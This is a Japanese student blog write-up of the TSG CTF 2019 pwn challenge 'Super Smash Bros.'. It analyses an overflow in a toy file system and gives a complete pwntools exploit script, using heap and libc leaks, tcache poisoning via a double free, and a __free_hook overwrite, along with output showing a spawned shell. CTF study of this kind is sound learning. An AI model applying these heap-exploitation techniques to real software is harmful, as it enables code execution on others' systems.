newbieからバイナリアンへ

newbieからバイナリアンへ

コンピュータ初心者からバイナリアンを目指す大学生日記

【pwn 9.1】 Super Smash Bros. - TSG CTF 2019

 

 

 

 

 

 

 

0: 参考

 

github.com

 

 

 

 1: イントロ

部長に最近の問題を解けと言われたため

bataリストを一旦放置して今年開催のCTFを解いていく

 

東京大学にコンピュータ系サークルのTSGという団体があるらしい

今回は今年5月にTSGが主催したCTFであるTSG CTF 2019

Mediumレベル問題 "Super Smash Bros." を解いていく

 

本CTFはCTF Timesに登録されたTSG最初のCTFであるらしいが

ちょうどこの時期はpwnを初めて2ヶ月ほどだったことだったり

難易度的に難しいと聞いていたことだったり

丁度帰省していた時期だったりとで全く問題を見ていなかった

 

 

難しそうでもらもらする

 

 

 

 

2: 表層解析とプログラムの概要

./ssb: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, not stripped
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

 

こんな感じでファイルシステムが実装されている

Command Guide
1: list dir
2: add file
3: add dir
4: show file
5: change directory
6: remove file
7: quit

--------------------
current dir: root
--------------------
> 



各ファイルは以下のようなstructureで管理されている

struct file{
char type; //0:emp 1:dir 2:file
char name[0x26];
char is_malloced;
char content[0x50];
};
struct dir{
char type;
char name[0x26];
char file_index[0x59];
};

ファイルは1つのディレクトリ直下に合計0x59個保存でき

ファイルシステム全体では0xFF個までつくることができる

但しあらかじめrootという名前のdirがつくられている

 

dir構造体にはそのディレクトリに属するfile/dirの通し番号が入っている

ここで言う通し番号とはファイルシステム先頭から何番目のfile/dirであるかということ

 

内容を読み込む際にサイズが聞かれ

・0x50以下: 構造体内のcontentに格納。その際入力長は固定

・0x50より大きい: malloc(size+1)してその中に格納。その際入力長は答えたサイズ分でオーバーフローはしない

 

なおファイルを消去する際には以下の処理を行う

・content_bufがmallocされていればfree()

・file structure 0x80分を全て0クリア

・親ディレクトリのfile_indexの該当箇所をゼロに



簡単に見つけた脆弱性・不審な点は以下の通り

1.add_file()とそこで呼ばれるcreate_file()において空きエントリの探し方が違う。前者ではファイルが存在するかの配列を参照しているが、後者ではそのファイル領域の最初のバイトが0かどうかで判断している

2.add_file()でnameは0x28だけscanf入力できる(canaryが隣接する)が、実際にエントリに保存されるのは0x26だけ

3.add_file()でsize0x50を指定した時、bufは0x50しかないのにscanfで0x5aまで入力でき、9byte overflowができる

4.3に関連して

-->file or dirかを変更できる

 

 

 

明らかに使えそうなのは3番

とっかかりは意外と素直だ

もらもらしてきた





3: exploitの概要

heap addrのleak

前述の脆弱性3を使って

fileをdirとして認識させたとする

dirの39byte目からはそのディレクトリ直下にあるファイルの通し番号が振ってある

fileの39byte目にはis_mallocedフラグが、40byte目にはsizeが大きい場合にはmalloc下ヒープのアドレスが入っている

dir->fileにすることによって、heap addrの各バイトを通し番号として認識することができる

 

そして幸いにも(というか作問者の意図だろうが)

全体としてファイルは0xFF個つくることができるため

以下のようしてヒープのアドレスをリークすることができる

 

・ファイルを0xFF個つくっておく

(前述したようにディレクトリ直下には0x59個しかおけないため、ディレクトリを3つつくって役割分担させる必要がある)

・その際名前は通し番号を識別できるように命名しておく

ディレクトリ内のファイルを表示させる

 

 

ということでheap addrのleak完了

 

 

 

libc baseのleak

さて前述の脆弱性はfile->dirの書き換えに加えて

dir->fileの書き換えもできる

するとfile_indexの値が今度はcontent_bufのアドレスとして解釈されることになる

ここでファイルを消去したり作ったりすることでfile_indexを自在にいじることができるから

任意の場所にread/writeすることができるwrite-what-where状態になった!

 

これぞまさしく空中に於いて持ち前の滞空制御能力で自在に相手を操れるスマブラカービィといったところか

作問者のネーミングセンスにはほとほと敬服するばかりだ。。。

 

  

__free_hook overwrite

ここまででwrite-where-whatかつlibc baseのリークができているから

double free -> tcache poisoningで __free_hook overwriteをして

"/bin/sh"から始まるchunkをfreeすれば終わり!

 

 

 

 

4: exploit

#!/usr/bin/env python
#encoding: utf-8;

########################################################
# this exploit have a few uncertainity.                #
# but the probability is small enough to exploit.      #
########################################################


from pwn import *
import sys

FILENAME = "./ssb"

rhp2 = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

#meta data
total_file_dir = 0
max_total_file_dir = 0xff
max_file_indir = 0x59

#libc info
offset_mainarena = 0x3ebc40
offset_freehook = 0x3ed8e8
offset_system = 0x4f440

def listdir(conn):
  conn.recvuntil("> ")
  conn.sendline("1")

def addfile(conn,name,size,content):
  global total_file_dir, max_totl_file_dir
  if(total_file_dir >= max_total_file_dir-0x10):
    print("[!]the num of files is getting closer to the max")
  total_file_dir += 1

  conn.recvuntil("> ")
  conn.sendline("2")
  conn.recvuntil("name: ")
  conn.sendline(name)
  conn.recvuntil("size: ")
  conn.sendline(str(size))
  conn.sendline(content)

def adddir(conn,name):
  global total_file_dir, max_totl_file_dir
  if(total_file_dir >= max_total_file_dir-0x10):
    print("[!]the num of files is getting closer to the max")
  total_file_dir += 1
  
  conn.recvuntil("> ")
  conn.sendline("3")
  conn.recvuntil("name: ")
  conn.sendline(name)

def show(conn,name):
  conn.recvuntil("> ")
  conn.sendline("4")
  conn.recvuntil("name: ")
  conn.sendline(name)

def changedir(conn,name):
  conn.recvuntil("> ")
  conn.sendline("5")
  conn.recvuntil("name: ")
  conn.sendline(name)

def remove(conn,name):
  global total_file_dir
  total_file_dir -= 1

  conn.recvuntil("> ")
  conn.sendline("6")
  conn.recvuntil("name: ")
  conn.sendline(name)

def get_related_dir(conn,ix):
  #1~2: file : for exploitation
  #3~5: dir  : for many other files
  #6~94:file : in dir3
  #95~183:file:in dir4
  #184~256:file:in dir5
  if ix in range(5+1):
    print("ERROR in get_related_dir()")
    exit()
  if ix in range(94+1)[6:]:
    return 3
  if ix in range(183+1)[95:]:
    return 4
  if ix in range(256+1)[:184]:
    return 5
  print("ERROR in get_related_dir() end")
  exit()

#by calling this function,
#the correlationships with name and index of file would be corrupted.
#for the simplification,
#i just wish that this corruption may not invoke fatal colision.
def manip_files(conn,old,new): #must be called in the target dir
  if (old in range(5+1)) or (new in range(5+1)):
    print("ERROR in manip_files()")
    exit()
  if old==new:
    return
  if old>new:
    remove(conn,str(old))
    changedir(conn,"..")
    changedir(conn,str(get_related_dir(conn,new)))
    remove(conn,str(new))
    changedir(conn,"..")
    changedir(conn,"2")
    addfile(conn,"NOTinORDER",0x20,"A"*0x10)
    changedir(conn,"..")
    changedir(conn,str(get_related_dir(conn,new)))
    addfile(conn,"NOTinORDER",0x20,"A"*0x10)
    changedir(conn,"..")
    changedir(conn,"2")
  else:
    remove(conn,str(old))
    changedir(conn,"..")
    changedir(conn,str(get_related_dir(conn,new)))
    remove(conn,str(new))
    addfile(conn,"NOTinORDER",0x20,"A"*0x10)
    changedir(conn,"..")
    changedir(conn,"2")
    addfile(conn,"NOTinORDER",0x20,"A"*0x10)



def exploit(conn):
  global total_file_dir

################
#leak heap addr#
################
  addfile(conn,"1",0x20,"1")
  addfile(conn,"2",0x800,"2") #malloced
  remove(conn,"1")
  addfile(conn,"1",0x50,"1"+"A"*(0x50-1) + p8(0x1) + "2") #overwrite file"2" into dir

  adddir(conn,"3")
  adddir(conn,"4")
  adddir(conn,"5")
  
  for i in range(3):
    changedir(conn,str(i+1+2))
    for j in range(0x59):
      addfile(conn,str(j+i*0x59+3+1+2),0x20,"A"*8)
      if total_file_dir == (0xff-2):
        addfile(conn,str(0xfe),0x600,"A"*8)
        addfile(conn,str(0xff),0x600,"A"*8)
        break
    changedir(conn,"..")

  changedir(conn,"2")
  listdir(conn)
  data = conn.recvuntil("---")
  heap_addr = 0
  for i,s in enumerate(data.split("\n")):
    if s=="1":
      continue
    if s=="":
      break
    heap_addr += (int(s)<<(i-1)*8)

  heap_base = heap_addr - 0x8020 - 0x10
  chunk2_bufaddr = heap_addr - 0x10
  print("[+]heap base: "+hex(heap_base))
  print("[+]chunk2   : "+hex(chunk2_bufaddr))

################
#leak libc base#
################
  changedir(conn,"..")
  changedir(conn,"5")
  remove(conn,str(0xfe))
  addfile(conn,str(0xfe),0x20,"A"*0x8)
  changedir(conn,"..")
  changedir(conn,"2")

  #manipulate
  target_addr = heap_base + 0x8830 + 0x10 #chunk 0xff's fd member
  print("[+]target addr: "+hex(target_addr))
  for i in range(6):
    target_index_old = (heap_addr>>(8*i)) & 0xff
    target_index_new = (target_addr>>(8*i)) & 0xff
    print("[-]target_index_old: "+hex(target_index_old))
    print("[-]target_index_new: "+hex(target_index_new))
    manip_files(conn,target_index_old,target_index_new)

  changedir(conn,"..")
  remove(conn,"1")
  addfile(conn,"1",0x20,"A"*0x50 + p8(0x2) + "2") #change dir2 to file2
  show(conn,"2")
  mainarena96 = unpack(conn.recvuntil("\n")[:-1].ljust(8,"\0"))
  mainarena =  mainarena96 - 96
  libc_base = mainarena - offset_mainarena
  freehook = libc_base + offset_freehook
  system = libc_base + offset_system
  print("[+]main_arena: "+hex(mainarena))
  print("[+]libc base: "+hex(libc_base))
  print("[+]free_hook: "+hex(freehook))
  print("[+]system   : "+hex(system))

#######################
#overwrite __free_hook#
#######################
  changedir(conn,"4")
  remove(conn,"120")
  remove(conn,"121")
  remove(conn,"122")
  changedir(conn,"..")

  print("[ ]now total file: "+hex(total_file_dir))
  addfile(conn,str(0xfe),0x60,"A"*8) #cut from unsorted.
  remove(conn,"1")
  remove(conn,"2")
  remove(conn,str(0xfe)) #double free
  
  addfile(conn,"1",0x60,p64(freehook)) #link tcache to freehook
  addfile(conn,"2",0x60,"/bin/sh") #arg to free replaced with system()
  addfile(conn,str(0xfe),0x60,p64(system)) #on freehook

  #invoke system("/bin/sh")
  remove(conn,"2")
  conn.sendline("cat /flag")

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()





5: 結果

[*] '/home/wataru/Documents/pwnable/ssb/ssb'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to localhost on port 12300: Done
[!]the num of files is getting closer to the max
[!]the num of files is getting closer to the max
[!]the num of files is getting closer to the max
[!]the num of files is getting closer to the max
[!]the num of files is getting closer to the max
[!]the num of files is getting closer to the max
[!]the num of files is getting closer to the max
[!]the num of files is getting closer to the max
[!]the num of files is getting closer to the max
[!]the num of files is getting closer to the max
[!]the num of files is getting closer to the max
[!]the num of files is getting closer to the max
[!]the num of files is getting closer to the max
[!]the num of files is getting closer to the max
[!]the num of files is getting closer to the max
[!]the num of files is getting closer to the max
[+]heap base: 0x558e3e8f1250
[+]chunk2   : 0x558e3e8f9270
[!]the num of files is getting closer to the max
[+]target addr: 0x558e3e8f9a90
[-]target_index_old: 0x80
[-]target_index_new: 0x90
[!]the num of files is getting closer to the max
[!]the num of files is getting closer to the max
[-]target_index_old: 0x92
[-]target_index_new: 0x9a
[!]the num of files is getting closer to the max
[!]the num of files is getting closer to the max
[-]target_index_old: 0x8f
[-]target_index_new: 0x8f
[-]target_index_old: 0x3e
[-]target_index_new: 0x3e
[-]target_index_old: 0x8e
[-]target_index_new: 0x8e
[-]target_index_old: 0x55
[-]target_index_new: 0x55
[!]the num of files is getting closer to the max
[+]main_arena: 0x7f781ed39c40
[+]libc base: 0x7f781e94e000
[+]free_hook: 0x7f781ed3b8e8
[+]system   : 0x7f781e99d440
[ ]now total file: 0xfc
[!]the num of files is getting closer to the max
[!]the num of files is getting closer to the max
[!]the num of files is getting closer to the max
[!]the num of files is getting closer to the max
[*] Switching to interactive mode
FLAG={thi5_i5_t35t_f1ag}



わーい、わーい

ノーヒントで解けるとやっぱり気持ちのいいもんだ





5: アウトロ

って、

スマブラ関係ないやんけ〜〜〜

という長い長いノリツッコミをするためだけに解いたみたいなところは正直否めない

 

 

まぁそれはさておき

自分レベルでノーヒントで一日かからず解けて

余計な小細工もないスッキリした問題だった

logical error overflow, unsorted bin, __free_hook overwrite, tcache poisoning, double freeと基本的なテクニックだけでコンパクトに構成されていて

pwnを始めて間もなかった頃の自分に解かせたい問題の一つだと思う

(今も十分始めて間もないが。あれ、でもなんやかんや2月くらいから初めてもう8ヶ月くらい経ったのか。。。)

 

おそらくこの問題の作者様がこの問題を通して言いたかったのはこういうことだろう




スマブラって楽しいよね!!!!!!!!!!!!!!!!!!!!





 

 

続く・・・